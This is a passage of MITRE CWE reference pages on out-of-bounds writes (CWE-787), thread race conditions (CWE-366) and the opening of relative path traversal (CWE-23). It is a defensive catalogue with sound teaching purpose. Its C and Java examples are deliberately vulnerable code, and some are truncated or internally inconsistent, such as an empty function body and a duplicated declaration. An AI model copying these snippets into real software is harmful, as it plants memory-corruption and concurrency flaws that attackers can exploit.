2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated Demonstrative_Examples, References, Relationships
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Related_Attack_Patterns
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Causal_Nature, Observed_Examples, Taxonomy_Mappings
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Description
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships
2019-06-20	CWE Content Team	MITRE
2019-06-20	updated Description, Related_Attack_Patterns
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Common_Consequences, Observed_Examples, Potential_Mitigations, References, Relationships
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Potential_Mitigations, Relationships, Taxonomy_Mappings
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples, Potential_Mitigations
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Observed_Examples, Potential_Mitigations, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Related_Attack_Patterns, Relationships
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Observed_Examples, Relationships
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Research_Gaps
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, References, Relationships
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples

Weakness ID: 787

View customized information:

Description

The product writes data past the end, or before the beginning, of the intended buffer.

Extended Description

Typically, this can result in corruption of data, a crash, or code execution. The product may modify an index or perform pointer arithmetic that references a memory location that is outside of the boundaries of the buffer. A subsequent write operation then produces undefined or unexpected results.

Alternate Terms

Memory Corruption:	Often used to describe the consequences of writing to memory outside the bounds of a buffer, or to memory that is invalid, when the root cause is something other than a sequential copy of excessive data from a fixed starting location. This may include issues such as incorrect pointer arithmetic, accessing invalid pointers due to incomplete initialization or memory release, etc.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	121	Stack-based Buffer Overflow
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	122	Heap-based Buffer Overflow
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	123	Write-what-where Condition
ParentOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	124	Buffer Underwrite ('Buffer Underflow')
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	822	Untrusted Pointer Dereference
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	823	Use of Out-of-range Pointer Offset
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	824	Access of Uninitialized Pointer
CanFollow	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	825	Expired Pointer Dereference

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1218	Memory Buffer Errors

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	119	Improper Restriction of Operations within the Bounds of a Memory Buffer

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Often Prevalent)

C++ (Often Prevalent)

Class: Assembly (Undetermined Prevalence)

Technologies

Class: ICS/OT (Often Prevalent)

Common Consequences

Scope	Impact	Likelihood
Integrity Availability	Technical Impact: Modify Memory; DoS: Crash, Exit, or Restart; Execute Unauthorized Code or Commands

Likelihood Of Exploit

High

Demonstrative Examples

Example 1

The following code attempts to save four different identification numbers into an array.

(bad code)

Example Language: C

int id_sequence[3];

/* Populate the id array. */

id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;

Since the array is only allocated to hold three elements, the valid indices are 0 to 2; so, the assignment to id_sequence[3] is out of bounds.

Example 2

In the following code, it is possible to request that memcpy move a much larger segment of memory than assumed:

(bad code)

Example Language: C

int returnChunkSize(void *) {

/* if chunk info is valid, return the size of usable memory,

* else, return -1 to indicate an error

*/
...

}
int main() {

...
memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
...

}

Example 3

This code takes an IP address from the user and verifies that it is well formed. It then looks up the hostname and copies it into a buffer.

(bad code)

Example Language: C

void host_lookup(char *user_supplied_addr){

}

This function allocates a buffer of 64 bytes to store the hostname. However, there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then the function may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 4

This code applies an encoding procedure to an input string and stores it into a buffer.

(bad code)

Example Language: C

char * copy_input(char *user_supplied_string){

int i, dst_index;
char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
if ( MAX_SIZE <= strlen(user_supplied_string) ){

die("user string too long, die evil hacker!");

}
dst_index = 0;
for ( i = 0; i < strlen(user_supplied_string); i++ ){

if( '&' == user_supplied_string[i] ){

dst_buf[dst_index++] = '&';
dst_buf[dst_index++] = 'a';
dst_buf[dst_index++] = 'm';
dst_buf[dst_index++] = 'p';
dst_buf[dst_index++] = ';';

}
else if ('<' == user_supplied_string[i] ){

/* encode to < */

}
else dst_buf[dst_index++] = user_supplied_string[i];

}
return dst_buf;

}

The programmer attempts to encode the ampersand character in the user-controlled string. However, the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 5

In the following C/C++ code, a utility function is used to trim trailing whitespace from a character string. The function copies the input string to a local character string and uses a while statement to remove the trailing whitespace by moving backward through the string and overwriting whitespace with a NUL character.

(bad code)

Example Language: C

char* trimTrailingWhitespace(char *strMessage, int length) {

char *retMessage;
char *message = malloc(sizeof(char)*(length+1));

// copy input string to a temporary string
char message[length+1];
int index;
for (index = 0; index < length; index++) {

message[index] = strMessage[index];

}
message[index] = '\0';

// trim trailing whitespace
int len = index-1;
while (isspace(message[len])) {

message[len] = '\0';
len--;

}

// return string without trailing whitespace
retMessage = message;
return retMessage;

}

Example 6

(bad code)

Example Language: C

int i;
unsigned int numWidgets;
Widget **WidgetList;

numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {

ExitError("Incorrect number of widgets requested!");

}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {

WidgetList[i] = InitializeWidget();

}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

Example 7

(bad code)

Example Language: C

int main() {

...
char *result = strstr(destBuf, "Replace Me");
int idx = result - destBuf;
strcpy(&destBuf[idx], srcBuf);
...

}

Observed Examples

Reference	Description
CVE-2021-21220	Chain: insufficient input validation (CWE-20) in browser allows heap corruption (CWE-787), as exploited in the wild per CISA KEV.
CVE-2021-28664	GPU kernel driver allows memory corruption because a user can obtain read/write access to read-only pages, as exploited in the wild per CISA KEV.
CVE-2020-17087	Chain: integer truncation (CWE-197) causes small buffer allocation (CWE-131) leading to out-of-bounds write (CWE-787) in kernel pool, as exploited in the wild per CISA KEV.
CVE-2020-1054	Out-of-bounds write in kernel-mode driver, as exploited in the wild per CISA KEV.
CVE-2020-0041	Escape from browser sandbox using out-of-bounds write due to incorrect bounds check, as exploited in the wild per CISA KEV.
CVE-2020-0968	Memory corruption in web browser scripting engine, as exploited in the wild per CISA KEV.
CVE-2020-0022	chain: mobile phone Bluetooth implementation does not include offset when calculating packet length (CWE-682), leading to out-of-bounds write (CWE-787)
CVE-2019-1010006	Chain: compiler optimization (CWE-733) removes or modifies code used to detect integer overflow (CWE-190), allowing out-of-bounds write (CWE-787).
CVE-2009-1532	malformed inputs cause accesses of uninitialized or previously-deleted objects, leading to memory corruption
CVE-2009-0269	chain: -1 value from a function call was intended to indicate an error, but is used as an array index instead.
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122)
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist

Potential Mitigations

Phase: Requirements

Strategy: Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.

Phase: Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Note: This is not a complete solution, since many buffer overflows are not related to strings.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

D3-SFCV (Stack Frame Canary Validation) from D3FEND [REF-1334] discusses canary-based detection in detail.

Effectiveness: Defense in Depth

Note:

Phase: Implementation

Consider adhering to the following rules when allocating and managing an application's memory:

Double check that the buffer is as large as specified.

When using functions that accept a number of bytes to copy, such as strncpy(), be aware that if the destination buffer size is equal to the source buffer size, it may not NULL-terminate the string.

Check buffer boundaries if accessing the buffer in a loop and make sure there is no danger of writing past the allocated space.

If necessary, truncate all input strings to a reasonable length before passing them to the copy and concatenation functions.

Phases: Operation; Build and Compilation

Strategy: Environment Hardening

For more information on these techniques see D3-SAOR (Segment Address Offset Randomization) from D3FEND [REF-1335].

Effectiveness: Defense in Depth

Phase: Operation

Strategy: Environment Hardening

For more information on these techniques see D3-PSEP (Process Segment Execution Prevention) from D3FEND [REF-1336].

Effectiveness: Defense in Depth

Phase: Implementation

Replace unbounded copy functions with analogous functions that support length arguments, such as strcpy with strncpy. Create these if they are not available.

Effectiveness: Moderate

Note: This approach is still susceptible to calculation errors, including issues such as off-by-one errors (CWE-193) and incorrectly calculating buffer lengths (CWE-131).

Detection Methods

Automated Static Analysis

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives.

Effectiveness: High

Note: Detection techniques for buffer-related errors are more mature than for most other weakness types.

Automated Dynamic Analysis

Memberships

Nature	Type	ID	Name
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1366	ICS Communications: Frail Security in Protocols
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1399	Comprehensive Categorization: Memory Safety
MemberOf	View - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).	1425	Weaknesses in the 2023 CWE Top 25 Most Dangerous Software Weaknesses

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
ISA/IEC 62443	Part 3-3	Req SR 3.5
ISA/IEC 62443	Part 4-1	Req SI-1
ISA/IEC 62443	Part 4-1	Req SI-2
ISA/IEC 62443	Part 4-1	Req SVV-1
ISA/IEC 62443	Part 4-1	Req SVV-3
ISA/IEC 62443	Part 4-2	Req CR 3.5

References

[REF-1029] Aleph One. "Smashing The Stack For Fun And Profit". 1996-11-08. <http://phrack.org/issues/49/14.html>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Stack Overruns" Page 129. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-7] Michael Howard and David LeBlanc. "Writing Secure Code". Chapter 5, "Heap Overruns" Page 138. 2nd Edition. Microsoft Press. 2002-12-04. <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 3, "Nonexecutable Stack", Page 76. 1st Edition. Addison Wesley. 2006.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Protection Mechanisms", Page 189. 1st Edition. Addison Wesley. 2006.

[REF-90] "Buffer UNDERFLOWS: What do you know about it?". Vuln-Dev Mailing List. 2004-01-10. <https://seclists.org/vuln-dev/2004/Jan/22>. URL validated: 2023-04-07.

[REF-56] Microsoft. "Using the Strsafe.h Functions". <https://learn.microsoft.com/en-us/windows/win32/menurc/strsafe-ovw?redirectedfrom=MSDN>. URL validated: 2023-04-07.

[REF-60] "PaX". <https://en.wikipedia.org/wiki/Executable_space_protection#PaX>. URL validated: 2023-04-07.

[REF-61] Microsoft. "Understanding DEP as a mitigation technology part 1". <https://msrc.microsoft.com/blog/2009/06/understanding-dep-as-a-mitigation-technology-part-1/>. URL validated: 2023-04-07.

[REF-64] Grant Murphy. "Position Independent Executables (PIE)". Red Hat. 2012-11-28. <https://www.redhat.com/en/blog/position-independent-executables-pie>. URL validated: 2023-04-07.

[REF-1332] John Richard Moser. "Prelink and address space randomization". 2006-07-05. <https://lwn.net/Articles/190139/>. URL validated: 2023-04-26.

[REF-1334] D3FEND. "Stack Frame Canary Validation (D3-SFCV)". 2023. <https://d3fend.mitre.org/technique/d3f:StackFrameCanaryValidation/>. URL validated: 2023-04-26.

[REF-1335] D3FEND. "Segment Address Offset Randomization (D3-SAOR)". 2023. <https://d3fend.mitre.org/technique/d3f:SegmentAddressOffsetRandomization/>. URL validated: 2023-04-26.

[REF-1336] D3FEND. "Process Segment Execution Prevention (D3-PSEP)". 2023. <https://d3fend.mitre.org/technique/d3f:ProcessSegmentExecutionPrevention/>. URL validated: 2023-04-26.

Content History

Submissions
Submission Date	Submitter	Organization
2009-10-21 (CWE 1.6, 2009-10-29)	CWE Content Team	MITRE
2009-10-21 (CWE 1.6, 2009-10-29)
Contributions
Contribution Date	Contributor	Organization
2023-04-25	"Mapping CWE to 62443" Sub-Working Group	CWE-CAPEC ICS/OT SIG
2023-04-25	Suggested mappings to ISA/IEC 62443.
Modifications
Modification Date	Modifier	Organization
2010-02-16	CWE Content Team	MITRE
2010-02-16	updated Demonstrative_Examples
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences
2014-06-23	CWE Content Team	MITRE
2014-06-23	updated Demonstrative_Examples
2015-12-07	CWE Content Team	MITRE
2015-12-07	updated Relationships
2018-03-27	CWE Content Team	MITRE
2018-03-27	updated Description
2019-09-19	CWE Content Team	MITRE
2019-09-19	updated Applicable_Platforms, Demonstrative_Examples, Detection_Factors, Likelihood_of_Exploit, Observed_Examples, Potential_Mitigations, References, Relationships, Time_of_Introduction
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated Observed_Examples, Relationships
2020-06-25	CWE Content Team	MITRE
2020-06-25	updated Observed_Examples
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Alternate_Terms, Demonstrative_Examples, Observed_Examples, Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Demonstrative_Examples
2021-07-20	CWE Content Team	MITRE
2021-07-20	updated Demonstrative_Examples, Potential_Mitigations, Relationships
2022-06-28	CWE Content Team	MITRE
2022-06-28	updated Observed_Examples, Relationships
2022-10-13	CWE Content Team	MITRE
2022-10-13	updated Applicable_Platforms
2023-01-31	CWE Content Team	MITRE
2023-01-31	updated Alternate_Terms, Demonstrative_Examples, Description
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Potential_Mitigations, References, Relationships, Taxonomy_Mappings
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes, Relationships, Taxonomy_Mappings
2024-02-29 (CWE 4.14, 2024-02-29)	CWE Content Team	MITRE
2024-02-29 (CWE 4.14, 2024-02-29)	updated Demonstrative_Examples

Weakness ID: 366

View customized information:

Description

If two threads of execution use a resource simultaneously, there exists the possibility that resources may be used while invalid, in turn making the state of execution undefined.

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	362	Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	557	Concurrency Issues

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

Nature	Type	ID	Name
ChildOf	Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.	662	Improper Synchronization

Modes Of Introduction

Phase	Note
Implementation

Applicable Platforms

Languages

C (Undetermined Prevalence)

C++ (Undetermined Prevalence)

Java (Undetermined Prevalence)

C# (Undetermined Prevalence)

Common Consequences

Scope	Impact	Likelihood
Integrity Other	Technical Impact: Alter Execution Logic; Unexpected State The main problem is that -- if a lock is overcome -- data could be altered in a bad state.

Likelihood Of Exploit

Medium

Demonstrative Examples

Example 1

The following example demonstrates the weakness.

(bad code)

Example Language: C

int foo = 0;
int storenum(int num) {

static int counter = 0;
counter++;
if (num > foo) foo = num;
return foo;

}

(bad code)

Example Language: Java

public classRace {

static int foo = 0;
public static void main() {

new Threader().start();
foo = 1;

}
public static class Threader extends Thread {

public void run() {

System.out.println(foo);

}

Observed Examples

Reference	Description
CVE-2022-2621	Chain: two threads in a web browser use the same resource (CWE-366), but one of those threads can destroy the resource before the other has completed (CWE-416).

Potential Mitigations

Phase: Architecture and Design

Use locking functionality. This is the recommended solution. Implement some form of locking mechanism around code which alters or reads persistent data in a multithreaded environment.

Phase: Architecture and Design

Create resource-locking validation checks. If no inherent locking mechanisms exist, use flags and signals to enforce your own blocking scheme when resources are being used by other threads of execution.

Detection Methods

Automated Static Analysis

Effectiveness: High

Affected Resources

System Process

Memberships

Nature	Type	ID	Name
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	748	CERT C Secure Coding Standard (2008) Appendix - POSIX (POS)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	852	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 9 - Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	882	CERT C++ Secure Coding Section 14 - Concurrency (CON)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	986	SFP Secondary Cluster: Missing Lock
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1142	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)
MemberOf	Category - a CWE entry that contains a set of other entries that share a common characteristic.	1401	Comprehensive Categorization: Concurrency

Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Race condition within a thread
CERT C Secure Coding	CON32-C	CWE More Abstract	Prevent data races when accessing bit-fields from multiple threads
CERT C Secure Coding	CON40-C	CWE More Abstract	Do not refer to an atomic variable twice in an expression
CERT C Secure Coding	CON43-C	Exact	Do not allow data races in multithreaded code
The CERT Oracle Secure Coding Standard for Java (2011)	VNA02-J		Ensure that compound operations on shared variables are atomic
The CERT Oracle Secure Coding Standard for Java (2011)	VNA03-J		Do not assume that a group of calls to independently atomic methods is atomic
Software Fault Patterns	SFP19		Missing Lock

Related Attack Patterns

CAPEC-ID	Attack Pattern Name
CAPEC-26	Leveraging Race Conditions
CAPEC-29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

References

[REF-18] Secure Software, Inc.. "The CLASP Application Security Process". 2005. <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf>.

[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 13: Race Conditions." Page 205. McGraw-Hill. 2010.

[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Race Conditions", Page 759. 1st Edition. Addison Wesley. 2006.

Content History

Submissions
Submission Date	Submitter	Organization
2006-07-19 (CWE Draft 3, 2006-07-19)	CLASP
2006-07-19 (CWE Draft 3, 2006-07-19)
Modifications
Modification Date	Modifier	Organization
2008-07-01	Eric Dalci	Cigital
2008-07-01	updated Time_of_Introduction
2008-09-08	CWE Content Team	MITRE
2008-09-08	updated Applicable_Platforms, Common_Consequences, Relationships, Taxonomy_Mappings
2008-11-24	CWE Content Team	MITRE
2008-11-24	updated Relationships, Taxonomy_Mappings
2010-09-27	CWE Content Team	MITRE
2010-09-27	updated Potential_Mitigations, Relationships
2011-06-01	CWE Content Team	MITRE
2011-06-01	updated Common_Consequences, Relationships, Taxonomy_Mappings
2011-06-27	CWE Content Team	MITRE
2011-06-27	updated Common_Consequences
2011-09-13	CWE Content Team	MITRE
2011-09-13	updated Relationships, Taxonomy_Mappings
2012-05-11	CWE Content Team	MITRE
2012-05-11	updated References, Relationships
2014-07-30	CWE Content Team	MITRE
2014-07-30	updated Relationships, Taxonomy_Mappings
2017-11-08	CWE Content Team	MITRE
2017-11-08	updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2019-01-03	CWE Content Team	MITRE
2019-01-03	updated Relationships, Taxonomy_Mappings
2020-02-24	CWE Content Team	MITRE
2020-02-24	updated References, Relationships
2020-08-20	CWE Content Team	MITRE
2020-08-20	updated Relationships
2020-12-10	CWE Content Team	MITRE
2020-12-10	updated Relationships
2021-03-15	CWE Content Team	MITRE
2021-03-15	updated Potential_Mitigations
2022-04-28	CWE Content Team	MITRE
2022-04-28	updated Relationships
2023-04-27	CWE Content Team	MITRE
2023-04-27	updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29	CWE Content Team	MITRE
2023-06-29	updated Mapping_Notes
2023-10-26	CWE Content Team	MITRE
2023-10-26	updated Observed_Examples

Weakness ID: 23

View customized information:

Description

Extended Description

This allows attackers to traverse the file system to access files or directories that are outside of the restricted directory.

Alternate Terms

Zip Slip:	"Zip slip" is an attack that uses file archives (e.g., ZIP, tar, rar, etc.) that contain filenames with path traversal sequences that cause the files to be written outside of the directory under which the archive is expected to be extracted [REF-1282]. It is most commonly used for relative path traversal (CWE-23) and link following (CWE-59).

Relationships

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name
ChildOf	Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.	22	Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	24	Path Traversal: '../filedir'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	25	Path Traversal: '/../filedir'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	26	Path Traversal: '/dir/../filename'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	27	Path Traversal: 'dir/../../filename'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	28	Path Traversal: '..\filedir'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	29	Path Traversal: '\..\filename'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	30	Path Traversal: '\dir\..\filename'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	31	Path Traversal: 'dir\..\..\filename'
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	32	Path Traversal: '...' (Triple Dot)
ParentOf	Variant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.	33	Path Traversal: '....' (Multiple Dot)
